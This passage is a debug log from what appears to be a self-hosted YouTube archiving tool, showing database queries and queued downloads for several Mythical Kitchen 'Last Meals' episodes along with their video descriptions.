cooking Maria Bamford's last meal. Last Meals Ep.3 \n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Maria Bamford Eats Her Last Meal", "https://www.youtube.com/watch?v=T0sfBmVMT_Q", "T0sfBmVMT_Q", 1539, false, "/downloads/Last Meals/2022-03-08 Maria Bamford Eats Her Last Meal/Maria Bamford Eats Her Last Meal [T0sfBmVMT_Q].mp4", false, 1, ~U[2022-03-08 11:00:15Z]] 20:47:18.148 [debug] QUERY OK source="sources" db=0.2ms idle=90.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:18.149 [debug] QUERY OK source="media_profiles" db=0.2ms idle=5.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:47:18.149 [debug] QUERY OK source="media_items" db=0.4ms idle=5.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18] 20:47:18.149 [info] Kicking off download for media item #18 (T0sfBmVMT_Q) 20:47:18.152 [debug] QUERY OK source="tasks" db=0.1ms idle=3.3ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [21, 18, ~U[2026-03-28 00:47:18Z], ~U[2026-03-28 00:47:18Z]] 20:47:18.152 [debug] Current batch of media processed. Will check again in 1000ms 20:47:19.153 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Joseph Gordon-Levitt is eating his last meal.\n\n0:00 Joseph's Last Meal\n00:24 Cocoa Puffs Spokeskid \n2:28 Thinking About Death Every Day\n3:53 1st Course\n4:15 Cereal History\n5:22 Why Joseph Wants Cereal For His Last Meal\n6:29 Recalling Childhood Memories\n7:16 Being Proud On Death Bed\n8:51 Favorite Moment With Eddie Murphy\n11:37 2nd Course\n12:04 Cereal Math\n13:12 Media Addiction\n14:31 Effectiveness Of Government\n16:59 HitRecord\n18:28 3rd Course\n21:25 Predictions For The Future\n23:51 Dangers Of Fame\n26:07 4th Course\n27:23 Joseph Talks About His Brother\n29:26 Sharing Personal Life Through Media\n33:02 Pretending To Not Be Famous\n34:09 5th Course\n36:02 Theory On Death\n38:33 Lightning Round\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "duration" => 2397, "filename" => "/downloads/Last Meals/2024-07-02 Joseph Gordon-Levitt Eats His Last Meal/Joseph Gordon-Levitt Eats His Last Meal [Sb4rC_hrLHI].mp4", "id" => "Sb4rC_hrLHI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Sb4rC_hrLHI", "playlist_index" => 19, "timestamp" => 1719914432, "title" => "Joseph Gordon-Levitt Eats His Last Meal", "upload_date" => "20240702"} 20:47:19.154 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1003.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:47:19.154 [debug] QUERY OK source="sources" db=0.3ms idle=1003.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:19.155 [debug] QUERY OK source="media_items" db=0.3ms idle=1003.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-07-02 10:00:32Z], 1] 20:47:19.160 [debug] QUERY OK source="media_items" db=3.7ms idle=1003.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Joseph Gordon-Levitt is eating his last meal.\n\n0:00 Joseph's Last Meal\n00:24 Cocoa Puffs Spokeskid \n2:28 Thinking About Death Every Day\n3:53 1st Course\n4:15 Cereal History\n5:22 Why Joseph Wants Cereal For His Last Meal\n6:29 Recalling Childhood Memories\n7:16 Being Proud On Death Bed\n8:51 Favorite Moment With Eddie Murphy\n11:37 2nd Course\n12:04 Cereal Math\n13:12 Media Addiction\n14:31 Effectiveness Of Government\n16:59 HitRecord\n18:28 3rd Course\n21:25 Predictions For The Future\n23:51 Dangers Of Fame\n26:07 4th Course\n27:23 Joseph Talks About His Brother\n29:26 Sharing Personal Life Through Media\n33:02 Pretending To Not Be Famous\n34:09 5th Course\n36:02 Theory On Death\n38:33 Lightning Round\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Joseph Gordon-Levitt Eats His Last Meal", "8777a805-ee27-4736-8275-d73d88799853", "https://www.youtube.com/watch?v=Sb4rC_hrLHI", false, "Sb4rC_hrLHI", 2397, false, 19, "/downloads/Last Meals/2024-07-02 Joseph Gordon-Levitt Eats His Last Meal/Joseph Gordon-Levitt Eats His Last Meal [Sb4rC_hrLHI].mp4", false, false, 1, [], 0, ~U[2024-07-02 10:00:32Z], ~U[2026-03-28 00:47:19Z], ~U[2026-03-28 00:47:19Z], "Today, Joseph Gordon-Levitt is eating his last meal.\n\n0:00 Joseph's Last Meal\n00:24 Cocoa Puffs Spokeskid \n2:28 Thinking About Death Every Day\n3:53 1st Course\n4:15 Cereal History\n5:22 Why Joseph Wants Cereal For His Last Meal\n6:29 Recalling Childhood Memories\n7:16 Being Proud On Death Bed\n8:51 Favorite Moment With Eddie Murphy\n11:37 2nd Course\n12:04 Cereal Math\n13:12 Media Addiction\n14:31 Effectiveness Of Government\n16:59 HitRecord\n18:28 3rd Course\n21:25 Predictions For The Future\n23:51 Dangers Of Fame\n26:07 4th Course\n27:23 Joseph Talks About His Brother\n29:26 Sharing Personal Life Through Media\n33:02 Pretending To Not Be Famous\n34:09 5th Course\n36:02 Theory On Death\n38:33 Lightning Round\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title? (truncated) 20:47:19.161 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=156.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:19.161 [debug] QUERY OK source="media_profiles" db=0.3ms idle=7.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:47:19.162 [debug] QUERY OK source="media_items" db=0.4ms idle=7.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [19] 20:47:19.162 [info] Kicking off download for media item #19 (Sb4rC_hrLHI) 20:47:19.164 [debug] QUERY OK source="tasks" db=0.2ms idle=3.4ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [22, 19, ~U[2026-03-28 00:47:19Z], ~U[2026-03-28 00:47:19Z]] 20:47:19.165 [debug] Current batch of media processed. Will check again in 1000ms 20:47:20.165 [debug] Current batch of media processed. Will check again in 1000ms 20:47:21.167 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Josh is cooking Brittany Broski's last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nYouTube: @ahotdogisasandwich\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "duration" => 1884, "filename" => "/downloads/Last Meals/2023-03-23 Brittany Broski Eats Her Last Meal/Brittany Broski Eats Her Last Meal [wGSOMKSRjkc].mp4", "id" => "wGSOMKSRjkc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=wGSOMKSRjkc", "playlist_index" => 20, "timestamp" => 1679565639, "title" => "Brittany Broski Eats Her Last Meal", "upload_date" => "20230323"} 20:47:21.167 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=160.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:47:21.168 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=110.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:21.169 [debug] QUERY OK source="media_items" db=0.2ms idle=111.0ms SELECT 